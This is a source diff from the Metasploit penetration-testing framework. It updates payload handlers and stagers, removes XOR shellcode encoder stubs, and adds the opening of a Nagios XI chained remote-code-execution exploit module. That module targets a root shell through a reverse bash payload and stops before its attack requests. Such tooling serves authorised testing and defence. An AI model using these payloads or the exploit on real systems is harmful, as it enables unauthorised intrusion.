a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 0c9e368d04..bd4f01995f 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -142,12 +142,12 @@ module ReverseHttp if l && l.length > 0 # strip trailing slashes - while l[-1] == '/' + while l[-1, 1] == '/' l = l[0...-1] end # make sure the luri has the prefix - if l[0] != '/' + if l[0, 1] != '/' l = "/#{l}" end @@ -192,7 +192,7 @@ module ReverseHttp self.service.server_name = datastore['MeterpreterServerName'] # Add the new resource - service.add_resource(luri + "/", + service.add_resource((luri + "/").gsub("//", "/"), 'Proc' => Proc.new { |cli, req| on_request(cli, req) }, @@ -212,7 +212,7 @@ module ReverseHttp # def stop_handler if self.service - self.service.remove_resource(luri + "/") + self.service.remove_resource((luri + "/").gsub("//", "/")) if self.service.resources.empty? && self.sessions == 0 Rex::ServiceManager.stop_service(self.service) end @@ -433,7 +433,9 @@ protected unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode]) print_status("Unknown request to #{request_summary}") end - resp = nil + resp.code = 200 + resp.message = 'OK' + resp.body = datastore['HttpUnknownRequestResponse'].to_s self.pending_connections -= 1 end diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index a8de052bc6..aa7537da12 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -30,7 +30,7 @@ module Payload::Linux::BindTcp } # Generate the more advanced stager if we have the space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'], conf[:reliable] = true end diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index bad961c820..ad719b7fb4 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -33,7 +33,7 @@ module Payload::Linux::ReverseTcp } # Generate the advanced stager if we have space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/mainframe.rb b/lib/msf/core/payload/mainframe.rb index 04f5cf29bf..776fcda0e5 100644 --- a/lib/msf/core/payload/mainframe.rb +++ b/lib/msf/core/payload/mainframe.rb @@ -2,32 +2,56 @@ require 'msf/core' ### -# # This class is here to implement advanced features for mainframe based # payloads. Mainframe payloads are expected to include this module if # they want to support these features. -# ### module Msf::Payload::Mainframe - - # - # Z notes - # Z notes - # def initialize(info = {}) - ret = super(info) + super(info) end - # + ## # Returns a list of compatible encoders based on mainframe architecture # most will not work because of the different architecture # an XOR-based encoder will be defined soon - # + ## def compatible_encoders - encoders = super() - encoders2 = ['/generic\/none/','none'] - - return encoders2 + encoders2 = ['/generic\/none/', 'none'] + encoders2 end + ### + # This method is here to implement advanced features for cmd:jcl based + # payloads. Common to all are the JCL Job Card, and its options which + # are defined here. It is optional for other mainframe payloads. + ### + def jcl_jobcard + # format paramaters with basic constraints + # see http://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/ + # com.ibm.zos.v2r1.ieab600/iea3b6_Parameter_field8.htm + # + jobname = format('%1.8s', datastore['JOBNAME']).strip.upcase + actnum = format('%1.60s', datastore['ACTNUM']).strip.upcase + pgmname = format('%1.20s', datastore['PGMNAME']).strip + jclass = format('%1.1s', datastore['JCLASS']).strip.upcase + notify = format('%1.8s', datastore['NOTIFY']).strip.upcase + notify = if !notify.empty? && datastore['NTFYUSR'] + "// NOTIFY=#{notify}, \n" + else + "" + end + msgclass = format('%1.1s', datastore['MSGCLASS']).strip.upcase + msglevel = format('%5.5s', datastore['MSGLEVEL']).strip + + # build payload + "//#{jobname} JOB " \ + "(#{actnum}),\n" \ + "// '#{pgmname}',\n" \ + "// CLASS=#{jclass},\n" \ + "#{notify}" \ + "// MSGCLASS=#{msgclass},\n" \ + "// MSGLEVEL=#{msglevel},\n" \ + "// REGION=0M \n" + end end diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 23d8aa6de1..4c34ea21ba 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -34,7 +34,7 @@ module Payload::Windows::BindTcp } # Generate the more advanced stager if we have the space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'], conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/bind_tcp_rc4.rb b/lib/msf/core/payload/windows/bind_tcp_rc4.rb index 065b725c5f..315a1b0afc 100644 --- a/lib/msf/core/payload/windows/bind_tcp_rc4.rb +++ b/lib/msf/core/payload/windows/bind_tcp_rc4.rb @@ -32,7 +32,7 @@ module Payload::Windows::BindTcpRc4 } # Generate the more advanced stager if we have the space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'], conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 65c4267a05..fbff122bb4 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -50,7 +50,7 @@ module Payload::Windows::ReverseHttp } # Add extra options if we have enough space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:url] = luri + generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:ua] = datastore['MeterpreterUserAgent'] diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 8109cc7182..dd7ed1e166 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcp } # Generate the advanced stager if we have space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/reverse_tcp_dns.rb b/lib/msf/core/payload/windows/reverse_tcp_dns.rb index c73c8d8b40..d834c5a353 100644 --- a/lib/msf/core/payload/windows/reverse_tcp_dns.rb +++ b/lib/msf/core/payload/windows/reverse_tcp_dns.rb @@ -38,7 +38,7 @@ module Payload::Windows::ReverseTcpDns } # Generate the advanced stager if we have space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/reverse_tcp_rc4.rb b/lib/msf/core/payload/windows/reverse_tcp_rc4.rb index 4835fa27ff..0f78ff96d5 100644 --- a/lib/msf/core/payload/windows/reverse_tcp_rc4.rb +++ b/lib/msf/core/payload/windows/reverse_tcp_rc4.rb @@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcpRc4 } # Generate the advanced stager if we have space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/reverse_tcp_rc4_dns.rb b/lib/msf/core/payload/windows/reverse_tcp_rc4_dns.rb index 2eb4c0a000..5ced87e1a8 100644 --- a/lib/msf/core/payload/windows/reverse_tcp_rc4_dns.rb +++ b/lib/msf/core/payload/windows/reverse_tcp_rc4_dns.rb @@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcpRc4Dns } # Generate the advanced stager if we have space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index be1c5e95b7..23ee66695c 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -36,7 +36,7 @@ module Payload::Windows::ReverseWinHttp } # Add extra options if we have enough space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index 33f57b220e..053143d640 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -32,7 +32,7 @@ module Payload::Windows::BindTcp_x64 } # Generate the more advanced stager if we have the space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'], conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 83d0379409..d4118896e8 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -54,7 +54,7 @@ module Payload::Windows::ReverseHttp_x64 } # add extended options if we do have enough space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:url] = luri + generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:ua] = datastore['MeterpreterUserAgent'] diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 3de55bd891..8c4c66b228 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -41,7 +41,7 @@ module Payload::Windows::ReverseTcp_x64 } # Generate the advanced stager if we have space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 8c31863621..5a17196667 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -37,7 +37,7 @@ module Payload::Windows::ReverseWinHttp_x64 } # Add extra options if we have enough space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space < self.available_space conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 51feb1095e..d1a0f769ac 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1360,6 +1360,8 @@ class Db addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end + else + csv_note << '' end if (note.service) msg << " service=#{note.service.name}" if note.service.name diff --git a/lib/rex.rb b/lib/rex.rb index 8e9b2788b5..bf29833248 100644 --- a/lib/rex.rb +++ b/lib/rex.rb @@ -38,6 +38,22 @@ module Rex LogSource = "rex" end +# +# REX Gems +# +# Text manipulation library for things like generating random string +require 'rex/text' +# Library for Generating Randomized strings valid as Identifiers such as variable names +require 'rex/random_identifier' +# library for creating Powershell scripts for exploitation purposes +require 'rex/powershell' +# Library for processing and creating Zip compatbile archives +require 'rex/zip' +# Library for parsing offline Windows Registry files +require 'rex/registry' +# Library for parsing Java serialized streams +require 'rex/java' + # Generic classes require 'rex/constants' require 'rex/exceptions' diff --git a/lib/rex/encoders/xor_dword.rb b/lib/rex/encoders/xor_dword.rb deleted file mode 100644 index be9e9d48b3..0000000000 --- a/lib/rex/encoders/xor_dword.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/arch/x86' -require 'rex/encoder/xor/dword' - -module Rex -module Encoders - -### -# -# Spoon's smaller variable-length encoder (updated to use call $+4 by vlad902) -# -### -class XorDword < Rex::Encoder::Xor::Dword - module Backend - def _prepend - # set the counter to the rounded up number of dwords to decode - Rex::Arch::X86.set( - Rex::Arch::X86::ECX, - (encoded.length - 1 >> 2) + 1, - badchars - ) + - "\xe8\xff\xff\xff" + # call $+4 - "\xff\xc0" + # inc eax - "\x5e" + # pop esi - "\x81\x76\x0e" + key + # xor_xor: xor [esi + 0x0e], $xorkey - "\x83\xee\xfc" + # sub esi, -4 - "\xe2\xf4" # loop xor_xor - end - end - - include Backend -end - -end end diff --git a/lib/rex/encoders/xor_dword_additive.rb b/lib/rex/encoders/xor_dword_additive.rb deleted file mode 100644 index 52b21808e2..0000000000 --- a/lib/rex/encoders/xor_dword_additive.rb +++ /dev/null @@ -1,53 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoder/xor/dword_additive' - -## -# -# Jmp/Call Dword Additive Feedback Encoder -# Author: skape -# Arch: x86 -# -## -module Rex -module Encoders - -class XorDwordAdditive < Rex::Encoder::Xor::DwordAdditive - module Backend - - def _unencoded_transform(data) - # check for any dword aligned zeros that would falsely terminate the decoder - idx = 0 - while true - idx = data.index("\x00\x00\x00\x00", idx) - break if !idx - if idx & 3 == 0 - raise RuntimeError, "Unencoded data cannot have a dword aligned 0 dword!", caller() - end - idx += 1 - end - - # pad to a dword boundary and append null dword for termination - data = data + ("\x00" * ((4 - data.length & 3) & 3)) + "\x00\x00\x00\x00" - end - - def _prepend - "\xfc" + # cld - "\xbb" + key + # mov ebx, key - "\xeb\x0c" + # jmp short 0x14 - "\x5e" + # pop esi - "\x56" + # push esi - "\x31\x1e" + # xor [esi], ebx - "\xad" + # lodsd - "\x01\xc3" + # add ebx, eax - "\x85\xc0" + # test eax, eax - "\x75\xf7" + # jnz 0xa - "\xc3" + # ret - "\xe8\xef\xff\xff\xff" # call 0x8 - end - end - - include Backend -end - -end end diff --git a/lib/rex/ui/interactive.rb b/lib/rex/ui/interactive.rb index c8d69e48d6..e40f6e2a9f 100644 --- a/lib/rex/ui/interactive.rb +++ b/lib/rex/ui/interactive.rb @@ -185,7 +185,7 @@ protected # writing it to the other. Both are expected to implement Rex::IO::Stream. # def interact_stream(stream) - while self.interacting + while self.interacting && _remote_fd(stream) # Select input and rstream sd = Rex::ThreadSafe.select([ _local_fd, _remote_fd(stream) ], nil, nil, 0.25) diff --git a/lib/sshkey.rb b/lib/sshkey.rb deleted file mode 100644 index 7cc281edc3..0000000000 --- a/lib/sshkey.rb +++ /dev/null @@ -1,5 +0,0 @@ -# -*- coding: binary -*- -class SSHKey -end - -require 'sshkey/lib/sshkey' diff --git a/lib/sshkey/LICENSE b/lib/sshkey/LICENSE deleted file mode 100644 index e8ca42b73a..0000000000 --- a/lib/sshkey/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) 2011 James Miller - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/sshkey/README.md b/lib/sshkey/README.md deleted file mode 100644 index 9678f32bee..0000000000 --- a/lib/sshkey/README.md +++ /dev/null @@ -1,71 +0,0 @@ -sshkey -====== - -Generate private and public SSH keys (RSA and DSA supported) using pure Ruby. - - gem install sshkey - -Tested on the following Rubies: MRI 1.8.7, 1.9.2, 1.9.3, REE. Ruby must be compiled with OpenSSL support. - -[![Build Status](https://secure.travis-ci.org/bensie/sshkey.png)](http://travis-ci.org/bensie/sshkey) - -Usage ------ - -When generating a new keypair the default key type is 2048-bit RSA, but you can supply the `type` (RSA or DSA) and `bits` in the options. -You can also (optionally) supply a `comment`: - -``` ruby -k = SSHKey.generate - -k = SSHKey.generate(:type => "DSA", :bits => 1024, :comment => "foo@bar.com") -``` - -Return an SSHKey object from an existing RSA or DSA private key (provided as a string) - -``` ruby -k = SSHKey.new(File.read("~/.ssh/id_rsa"), :comment => "foo@bar.com") -``` - -Both of these will return an SSHKey object with the following methods: - -``` ruby -# Returns an OpenSSL::PKey::RSA or OpenSSL::PKey::DSA key object -# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/RSA.html -# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/DSA.html -k.key_object -# => -----BEGIN RSA PRIVATE KEY-----\nMIIEowI... - -# Returns the Private Key as a string -k.private_key -# => "-----BEGIN RSA PRIVATE KEY-----\nMIIEowI..." - -# Returns the Public Key as a string -k.public_key -# => "-----BEGIN RSA PUBLIC KEY-----\nMIIBCg..." - -# Returns the SSH Public Key as a string -k.ssh_public_key -# => "ssh-rsa AAAAB3NzaC1yc2EA...." - -# Returns the comment as a string -k.comment -# => "foo@bar.com" - -# Returns the MD5 fingerprint as a string -k.md5_fingerprint -# => "2a:89:84:c9:29:05:d1:f8:49:79:1c:ba:73:99:eb:af" - -# Returns the SHA1 fingerprint as a string -k.sha1_fingerprint -# => "e4:f9:79:f2:fe:d6:be:2d:ef:2e:c2:fa:aa:f8:b0:17:34:fe:0d:c0" - -# Validates SSH Public Key -SSHKey.valid_ssh_public_key? "ssh-rsa AAAAB3NzaC1yc2EA...." -# => true -``` - -Copyright ---------- - -Copyright (c) 2011 James Miller diff --git a/lib/sshkey/lib/sshkey.rb b/lib/sshkey/lib/sshkey.rb deleted file mode 100644 index 6a89dbee21..0000000000 --- a/lib/sshkey/lib/sshkey.rb +++ /dev/null @@ -1,187 +0,0 @@ -# -*- coding: binary -*- -require 'openssl' -require 'base64' -require 'digest/md5' -require 'digest/sha1' - -class SSHKey - SSH_TYPES = {"rsa" => "ssh-rsa", "dsa" => "ssh-dss"} - SSH_CONVERSION = {"rsa" => ["e", "n"], "dsa" => ["p", "q", "g", "pub_key"]} - - attr_reader :key_object, :comment, :type - attr_accessor :passphrase - - # Generate a new keypair and return an SSHKey object - # - # The default behavior when providing no options will generate a 2048-bit RSA - # keypair. - # - # ==== Parameters - # * options<~Hash>: - # * :type<~String> - "rsa" or "dsa", "rsa" by default - # * :bits<~Integer> - Bit length - # * :comment<~String> - Comment to use for the public key, defaults to "" - # * :passphrase<~String> - Encrypt the key with this passphrase - # - def self.generate(options = {}) - type = options[:type] || "rsa" - bits = options[:bits] || 2048 - cipher = OpenSSL::Cipher::Cipher.new("AES-128-CBC") if options[:passphrase] - - case type.downcase - when "rsa" then SSHKey.new(OpenSSL::PKey::RSA.generate(bits).to_pem(cipher, options[:passphrase]), options) - when "dsa" then SSHKey.new(OpenSSL::PKey::DSA.generate(bits).to_pem(cipher, options[:passphrase]), options) - else - raise "Unknown key type: #{type}" - end - end - - # Validate an existing SSH public key - # - # Returns true or false depending on the validity of the public key provided - # - # ==== Parameters - # * ssh_public_key<~String> - "ssh-rsa AAAAB3NzaC1yc2EA...." - # - def self.valid_ssh_public_key?(ssh_public_key) - ssh_type, encoded_key = ssh_public_key.split(" ") - type = SSH_TYPES.invert[ssh_type] - prefix = [0,0,0,7].pack("C*") - decoded = Base64.decode64(encoded_key) - - # Base64 decoding is too permissive, so we should validate if encoding is correct - return false unless Base64.encode64(decoded).gsub("\n", "") == encoded_key - return false unless decoded.sub!(/^#{prefix}#{ssh_type}/, "") - - unpacked = decoded.unpack("C*") - data = [] - index = 0 - until unpacked[index].nil? - datum_size = from_byte_array unpacked[index..index+4-1], 4 - index = index + 4 - datum = from_byte_array unpacked[index..index+datum_size-1], datum_size - data << datum - index = index + datum_size - end - - SSH_CONVERSION[type].size == data.size - rescue - false - end - - def self.from_byte_array(byte_array, expected_size = nil) - num = 0 - raise "Byte array too short" if !expected_size.nil? && expected_size != byte_array.size - byte_array.reverse.each_with_index do |item, index| - num += item * 256**(index) - end - num - end - - # Create a new SSHKey object - # - # ==== Parameters - # * private_key - Existing RSA or DSA private key - # * options<~Hash> - # * :comment<~String> - Comment to use for the public key, defaults to "" - # * :passphrase<~String> - If the key is encrypted, supply the passphrase - # - def initialize(private_key, options = {}) - @passphrase = options[:passphrase] - @comment = options[:comment] || "" - begin - @key_object = OpenSSL::PKey::RSA.new(private_key, passphrase) - @type = "rsa" - rescue - @key_object = OpenSSL::PKey::DSA.new(private_key, passphrase) - @type = "dsa" - end - end - - # Fetch the RSA/DSA private key - # - # rsa_private_key and dsa_private_key are aliased for backward compatibility - def private_key - key_object.to_pem - end - alias_method :rsa_private_key, :private_key - alias_method :dsa_private_key, :private_key - - # Fetch the encrypted RSA/DSA private key using the passphrase provided - # - # If no passphrase is set, returns the unencrypted private key - def encrypted_private_key - return private_key unless passphrase - key_object.to_pem(OpenSSL::Cipher::Cipher.new("AES-128-CBC"), passphrase) - end - - # Fetch the RSA/DSA public key - # - # rsa_public_key and dsa_public_key are aliased for backward compatibility - def public_key - key_object.public_key.to_pem - end - alias_method :rsa_public_key, :public_key - alias_method :dsa_public_key, :public_key - - # SSH public key - def ssh_public_key - [SSH_TYPES[type], Base64.encode64(ssh_public_key_conversion).gsub("\n", ""), comment].join(" ").strip - end - - # Fingerprints - # - # MD5 fingerprint for the given SSH public key - def md5_fingerprint - Digest::MD5.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2') - end - alias_method :fingerprint, :md5_fingerprint - - # SHA1 fingerprint for the given SSH public key - def sha1_fingerprint - Digest::SHA1.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2') - end - - private - - # SSH Public Key Conversion - # - # All data type encoding is defined in the section #5 of RFC #4251. - # String and mpint (multiple precision integer) types are encoded this way: - # 4-bytes word: data length (unsigned big-endian 32 bits integer) - # n bytes: binary representation of the data - - # For instance, the "ssh-rsa" string is encoded as the following byte array - # [0, 0, 0, 7, 's', 's', 'h', '-', 'r', 's', 'a'] - def ssh_public_key_conversion - out = [0,0,0,7].pack("C*") - out += SSH_TYPES[type] - - SSH_CONVERSION[type].each do |method| - byte_array = to_byte_array(key_object.public_key.send(method).to_i) - out += encode_unsigned_int_32(byte_array.length).pack("C*") - out += byte_array.pack("C*") - end - - return out - end - - def encode_unsigned_int_32(value) - out = [] - out[0] = value >> 24 & 0xff - out[1] = value >> 16 & 0xff - out[2] = value >> 8 & 0xff - out[3] = value & 0xff - return out - end - - def to_byte_array(num) - result = [] - begin - result << (num & 0xff) - num >>= 8 - end until (num == 0 || num == -1) && (result.last[7] == num[7]) - result.reverse - end - -end diff --git a/lib/sshkey/lib/sshkey/version.rb b/lib/sshkey/lib/sshkey/version.rb deleted file mode 100644 index 398c0e44fb..0000000000 --- a/lib/sshkey/lib/sshkey/version.rb +++ /dev/null @@ -1,4 +0,0 @@ -# -*- coding: binary -*- -class SSHKey - VERSION = "1.3.0" -end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index f2499e826c..166150065a 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.1.11' + spec.add_runtime_dependency 'metasploit-payloads', '1.1.12' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. @@ -98,6 +98,10 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'patch_finder' # TimeZone info spec.add_runtime_dependency 'tzinfo-data' + # Gem for dealing with SSHKeys + spec.add_runtime_dependency 'sshkey' + # BitStruct Library used for handling certain Protocol Header/Packet construction + spec.add_runtime_dependency 'bit-struct' # # REX Libraries @@ -115,11 +119,6 @@ Gem::Specification.new do |spec| # Library for parsing Java serialized streams spec.add_runtime_dependency 'rex-java' - # - # Protocol Libraries - # - spec.add_runtime_dependency 'net-ssh' - # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module unless Gem.win_platform? diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb index 311355c401..305b0e4942 100644 --- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb +++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb @@ -26,7 +26,8 @@ class MetasploitModule < Msf::Auxiliary NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller), NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor), NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree), - NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton) + NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton), + NetGear WNR2000v3 - v1.1.2.10 (Tested by h00die) }, 'References' => [ diff --git a/modules/auxiliary/admin/netbios/netbios_spoof.rb b/modules/auxiliary/admin/netbios/netbios_spoof.rb index c851cd3f54..279b6f6960 100644 --- a/modules/auxiliary/admin/netbios/netbios_spoof.rb +++ b/modules/auxiliary/admin/netbios/netbios_spoof.rb @@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary response for a 'WPAD' lookup. Distant targets may require more time and lower rates for a successful attack. }, - 'Authors' => [ + 'Author' => [ 'vvalien', # Metasploit Module (post) 'hdm', # Metasploit Module 'tombkeeper' # Related Work diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 83b0db5bd1..dcecc60836 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -181,6 +181,7 @@ class MetasploitModule < Msf::Auxiliary case result.status when Metasploit::Model::Login::Status::SUCCESSFUL print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_data[:private_type] = :password credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) diff --git a/modules/auxiliary/server/netbios_spoof_nat.rb b/modules/auxiliary/server/netbios_spoof_nat.rb index 5a5a137bcb..55b4055c59 100644 --- a/modules/auxiliary/server/netbios_spoof_nat.rb +++ b/modules/auxiliary/server/netbios_spoof_nat.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary of NetBIOS requests. }, - 'Authors' => [ + 'Author' => [ 'vvalien', # Metasploit Module (post) 'hdm', # Metasploit Module 'tombkeeper' # Vulnerability Discovery diff --git a/modules/exploits/linux/http/nagios_xi_chained_rce.rb b/modules/exploits/linux/http/nagios_xi_chained_rce.rb new file mode 100644 index 0000000000..aef21befe8 --- /dev/null +++ b/modules/exploits/linux/http/nagios_xi_chained_rce.rb @@ -0,0 +1,275 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nagios XI Chained Remote Code Execution', + 'Description' => %q{ + This module exploits an SQL injection, auth bypass, file upload, + command injection, and privilege escalation in Nagios XI <= 5.2.7 + to pop a root shell. + }, + 'Author' => [ + 'Francesco Oddo', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + ['EDB', '39899'] + ], + 'DisclosureDate' => 'Mar 6 2016', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk' + } + }, + 'Targets' => [ + ['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash', + 'LHOST' => Rex::Socket.source_address + } + )) + end + + def check + res = send_request_cgi!( + 'method' => 'GET', + 'uri' => '/nagiosxi/' + ) + + return unless res && (html = res.get_html_document) + + if (version = html.at('//input[@name = "version"]/@value')) + vprint_status("Nagios XI version: #{version}") + if Gem::Version.new(version) <= target[:version] + return CheckCode::Appears + end + end + + CheckCode::Safe + end + + def exploit + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!') + end + + print_status('Getting API token') + get_api_token + print_status('Getting admin cookie') + get_admin_cookie + print_status('Getting monitored host') + get_monitored_host + + print_status('Downloading component') + download_profile_component + print_status('Uploading root shell') + upload_root_shell + print_status('Popping shell!') + pop_dat_shell + end + + # + # Cleanup methods + # + + def on_new_session(session) + super + + print_status('Cleaning up...') + + commands = [ + 'rm -rf ../profile', + 'unzip -qd .. ../../../../tmp/component-profile.zip', + 'chown -R nagios:nagios ../profile', + "rm -f ../../../../tmp/component-#{zip_filename}" + ] + + commands.each do |command| + vprint_status(command) + session.shell_command_token(command) + end + end + + # + # Exploit methods + # + + def get_api_token + res = send_request_cgi( + 'method' => 'GET', + 'uri' => 